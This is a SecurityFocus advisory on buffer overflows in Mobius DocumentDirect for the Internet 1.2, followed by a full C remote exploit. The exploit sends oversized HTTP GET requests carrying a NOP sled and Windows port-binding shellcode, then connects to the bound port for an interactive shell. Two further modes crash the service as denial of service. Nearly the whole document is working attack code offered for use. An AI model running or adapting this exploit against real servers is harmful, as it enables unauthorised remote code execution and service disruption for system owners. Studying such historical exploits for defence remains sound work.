// source: https://www.securityfocus.com/bid/1657/info
A number of unchecked static buffers exist in Mobius' DocumentDirect for the Internet program. Depending on the data entered, arbitrary code execution or a denial of service attack could be launched under the privilege level of the corresponding service.
Buffer Overflow #1 - Issuing the following GET request will overflow DDICGI.EXE:
GET /ddrint/bin/ddicgi.exe?[string at least 1553 characters long]=X HTTP/1.0
Buffer Overflow #2 - Entering a username consisting of at least 208 characters in the web authorization form will cause DDIPROC.EXE to overflow. If random data were to be used, a denial of service attack would be launched against the DocumentDirect Process Manager which would halt all services relating to it.
Buffer Overflow #3 - Issuing the following GET request will cause an access validation error in DDICGI.EXE:
GET /ddrint/bin/ddicgi.exe HTTP/1.0\r\nUser-Agent: [long string of characters]\r\n\r\n
/*
Mobius DocumentDirect for the Internet 1.2 Buffer Overflow Vulnerabilities
Remote Xploit by wildcoyote@coders-pt.org
Date: 08/09/y2k
Bugtraq id : 1657
Class : Boundary Condition Error
Cve : GENERIC-MAP-NOMATCH
Remote : Yes
Local : Yes
Published : September 08, 2000
Vulnerable : Mobius DocumentDirect for the Internet 1.2
- Microsoft Windows NT 4.0
SecurityFocus Reports:
"A number of unchecked static buffers exist in Mobius' DocumentDirect
for the Internet program. Depending on the data entered, arbitrary code
execution or a denial of service attack could be launched under the
privilege level of the corresponding service."
Girl of the month: niness (heh)
Legal Notice: No animals where harmed during the coding of this Xploit...
*/
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
struct Xploiting_ways {
char *Xploit_way;
int port;
char *command;
int overflow_string_size;
};
struct Xploiting_ways Xploiting_ways[]={
{"Mobius ddicgi.exe XPLOIT",80,"GET /ddrint/bin/ddicgi.exe?BO=X HTTP/1.0\n\n",1553},
{"Mobius DoS [username]",80,"GET / HTTP/1.1\nUnless-Modified-Since: BO\n\n",215},
{"Mobius DoS [long string]",80,"GET /ddrint/bin/ddicgi.exe HTTP/1.0\r\nUser-Agent: BO\r\n\r\n",2048},
{NULL,0,NULL,0}
};
#define NOP 0x90
#define PORT_LOCATION 524 // Port will be injected on
// byte'shellcode + 524
// Leet Port Binder'shellcode for Win b0xez...
char shellcode[] =
"\x4b\x8b\xc3\xbb\x01\x90\x16\x01\xc1\xeb\x02\x8b\xf8\x33"
"\xc0\x50\x48\x90\x50\x59\xf2\xaf\x59\xb1\xc6\x8b\xc7\x48"
"\x80\x30\x99\xe2\xfa\x33\xf6\x96\x90\x90\x56\xff\x13\x8b"
"\xd0\xfc\x33\xc9\xb1\x0b\x49\x32\xc0\xac\x84\xc0\x75\xf9"
"\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a\xe2"
"\xec\x32\xc0\xac\x84\xc0\x75\xf9\xb3\x01\x4b\x90\x56\xff"
"\x13\x8b\xd0\xfc\x33\xc9\xb1\x06\x32\xc0\xac\x84\xc0\x75"
"\xf9\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a"
"\xe2\xec\x83\xc6\x05\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
"\xe8\x93\x6a\x10\x56\x53\xff\x57\xec\x6a\x02\x53\xff\x57"
"\xf0\x33\xc0\x57\x50\xb0\x0c\xab\x58\xab\x40\xab\x5f\x48"
"\x50\x57\x56\xad\x56\xff\x57\xc0\x48\x50\x57\xad\x56\xad"
"\x56\xff\x57\xc0\x48\xb0\x44\x89\x07\x57\xff\x57\xc4\x33"
"\xc0\x8b\x46\xf4\x89\x47\x3c\x89\x47\x40\x8b\x06\x89\x47"
"\x38\x33\xc0\x66\xb8\x01\x01\x89\x47\x2c\x57\x57\x33\xc0"
"\x50\x50\x50\x40\x50\x48\x50\x50\xad\x56\x33\xc0\x50\xff"
"\x57\xc8\xff\x76\xf0\xff\x57\xcc\xff\x76\xfc\xff\x57\xcc"
"\x48\x50\x50\x53\xff\x57\xf4\x8b\xd8\x33\xc0\xb4\x04\x50"
"\xc1\xe8\x04\x50\xff\x57\xd4\x8b\xf0\x33\xc0\x8b\xc8\xb5"
"\x04\x50\x50\x57\x51\x50\xff\x77\xa8\xff\x57\xd0\x83\x3f"
"\x01\x7c\x22\x33\xc0\x50\x57\xff\x37\x56\xff\x77\xa8\xff"
"\x57\xdc\x0b\xc0\x74\x2f\x33\xc0\x50\xff\x37\x56\x53\xff"
"\x57\xf8\x6a\x50\xff\x57\xe0\xeb\xc8\x33\xc0\x50\xb4\x04"
"\x50\x56\x53\xff\x57\xfc\x57\x33\xc9\x51\x50\x56\xff\x77"
"\xac\xff\x57\xd8\x6a\x50\xff\x57\xe0\xeb\xaa\x50\xff\x57"
"\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda\xeb\xfc"
"\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc\xed\xca\xed\xf8"
"\xeb\xed\xec\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8"
"\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf6"
"\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc\xf2\xd7"
"\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8"
"\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc\xdf\xf0"
"\xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5"
"\xfc\xfc\xe9\x99\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea"
"\xea\x99\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2"
"\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7"
"\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb"
"\xfc\xfa\xef\x99\x9b\x99"
"\xff\xff" // Port Number will be injected here...
"\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\xb7\xfc\xe1\xfc\x99"
"\xff\xff\xff\xff\x09\x1f\x40\x00\x0d\x0ah";
int
openhost(char *host,int port) {
int sock;
struct sockaddr_in addr;
struct hostent *he;
he=gethostbyname(host);
if (he==NULL) return -1;
sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if (sock==-1) return -1;
memcpy(&addr.sin_addr, he->h_addr, he->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
return sock;
}
void
sends(int sock,char *buf) {
write(sock,buf,strlen(buf));
}
void
own3dshell(int sock)
{
char buf[1024];
fd_set rset;
int i;
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset))
{
i=read(sock,buf,1024);
if (i <= 0)
{
printf("The connection was closed!\n");
printf("Exiting...\n\n");
exit(0);
}
buf[i]=0;
puts(buf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
i=read(STDIN_FILENO,buf,1024);
if (i>0)
{
buf[i]=0;
write(sock,buf,i);
}
}
}
}
void
own_or_DoS(char *host, int type, int bind_shell_port)
{
char *buf, *tmp;
int sock, i, x, buffer_size, bindshell=bind_shell_port;
unsigned char *ShellPortOffset;
printf("Type Number : %d\n",type);
printf("Xploit way : %s\n",Xploiting_ways[type].Xploit_way);
printf("Port : %d\n",Xploiting_ways[type].port);
printf("Bind Shell Port : %d\n",bindshell);
printf("Let the show begin ladyes...\n");
printf("Connecting to %s [%d]...",host,Xploiting_ways[type].port);
sock=openhost(host,Xploiting_ways[type].port);
if (sock==-1)
{
printf("FAILED!\n");
printf("Couldnt connect...leaving :|\n\n");
exit(-1);
}
printf("SUCCESS!\n");
printf("Determinating buffer size...");
buffer_size=(strlen(Xploiting_ways[type].command)
+
Xploiting_ways[type].overflow_string_size);
printf("DONE! (%d)\n",buffer_size);
printf("Allocating memory for buffer...");
if (!(buf=malloc(buffer_size)))
{
printf("FAILED!\n");
printf("Leaving... :[\n\n");
exit(-1);
}
printf("WORKED!\n");
printf("Allocating memory for temp buffer...");
if (!(tmp=malloc(Xploiting_ways[type].overflow_string_size)))
{
printf("FAILED!\n");
printf("Leaving... :[\n\n");
exit(-1);
}
printf("WORKED TO! (heh)\n");
if (bindshell==0) // aka DoS (type > 0)
bzero(tmp,Xploiting_ways[type].overflow_string_size);
else // aka Xploit (type == 0)
{
for(i=0;
i<Xploiting_ways[type].overflow_string_size-strlen(shellcode);
i++) tmp[i]=NOP;
// Now we inject the 16 byte port number on tha shellcode ;)
ShellPortOffset = shellcode + PORT_LOCATION;
bind_shell_port ^= 0x9999;
*ShellPortOffset = (char) ((bind_shell_port >> 8) & 0xff);
*(ShellPortOffset + 1) = (char) (bind_shell_port & 0xff);
strcat(tmp,shellcode);
}
for(i=0;;i++)
if ((Xploiting_ways[type].command[i]=='B') &&
(Xploiting_ways[type].command[i+1]=='O')) break;
else buf[i]=Xploiting_ways[type].command[i];
strcat(buf,tmp);
i+=2;
for(;i<strlen(Xploiting_ways[type].command);i++)
buf[strlen(buf)]=Xploiting_ways[type].command[i];
printf("Sending EVIL buffer ;)\n");
sends(sock,buf);
close(sock);
printf("Freeing buffers...");
free(buf);
free(tmp);
printf("DONE!\n");
// Lets test if it is a DoS or a Xploit again...
if (bindshell>0)
{
printf("Trying to binded'shell [%d]...",bindshell);
sock=openhost(host,bindshell);
if (sock==-1)
{
printf("FAILED!\n");
printf("Too bad... :[ exiting...\n\n");
exit(-1);
}
printf("W0RK3D! ;)\n");
printf("Prepare to have an orgazm...(or something like that *g*)\n");
own3dshell(sock);
printf("I RULE!\n"); // Heh, nobody will ever'c thiz message, so why not? ;)
}
else
{
printf("If the rem0te box was running a vulnerable version, it CRASHED =)\n");
printf("Regardz, wildcoyote@coders-pt.org\n\n");
}
}
void
show_types()
{
int i;
printf("\n\t\t\t-* Available Typez *-\n\n");
for(i=0;(Xploiting_ways[i].Xploit_way!=NULL);i++)
{
printf("Type Number: %d\nXploit Way : %s\nPort : %d\nOverflow string size : %d\n-************************-\n",i
,Xploiting_ways[i].Xploit_way
,Xploiting_ways[i].port
,Xploiting_ways[i].overflow_string_size);
}
}
main(int argc, char *argv[])
{
int i;
// lets keep on (int) var i the number of types ;)
for(i=0;;i++) if (Xploiting_ways[i].Xploit_way==NULL) break;
i--; // oh shit! Cant forget that'array[0] thingie! :))
printf("\nMobius DocumentDirect for the Internet 1.2 Xploit by wildcoyote@coders-pt.org\n\n");
if (argc<3) {
printf("Sintaxe: %s <host> <type number> [bind shell port] [port (server)]\n",argv[0]);
show_types();
printf("\nFlamez to wildcoyote@coders-pt.org\n\n");
}
else
if ((atoi(argv[2])<=i) && (atoi(argv[2])>=0))
{
if (argc==3)
if (atoi(argv[2])>0) own_or_DoS(argv[1],atoi(argv[2]),0);
else
{
printf("- Bad Sintaxe -\n");
printf("Leaving...\n\n");
}
else
if (argc==4)
{
if (atoi(argv[2])>0) own_or_DoS(argv[1],atoi(argv[2]),0);
else
own_or_DoS(argv[1],atoi(argv[2]),atoi(argv[3]));
}
else
if ((atoi(argv[3])>0) && (atoi(argv[4])>0))
{
Xploiting_ways[atoi(argv[2])].port=atoi(argv[4]);
if (atoi(argv[2])>0)
own_or_DoS(argv[1],atoi(argv[2]),0);
else
own_or_DoS(argv[1],atoi(argv[2]),atoi(argv[3]));
Xploiting_ways[atoi(argv[2])].port=atoi(argv[4]);
}
}
else
{
printf("- Bad Type Number - [Range 0 - %d]\n",i);
printf("Let's try again... :P heh\n\n");
}
}
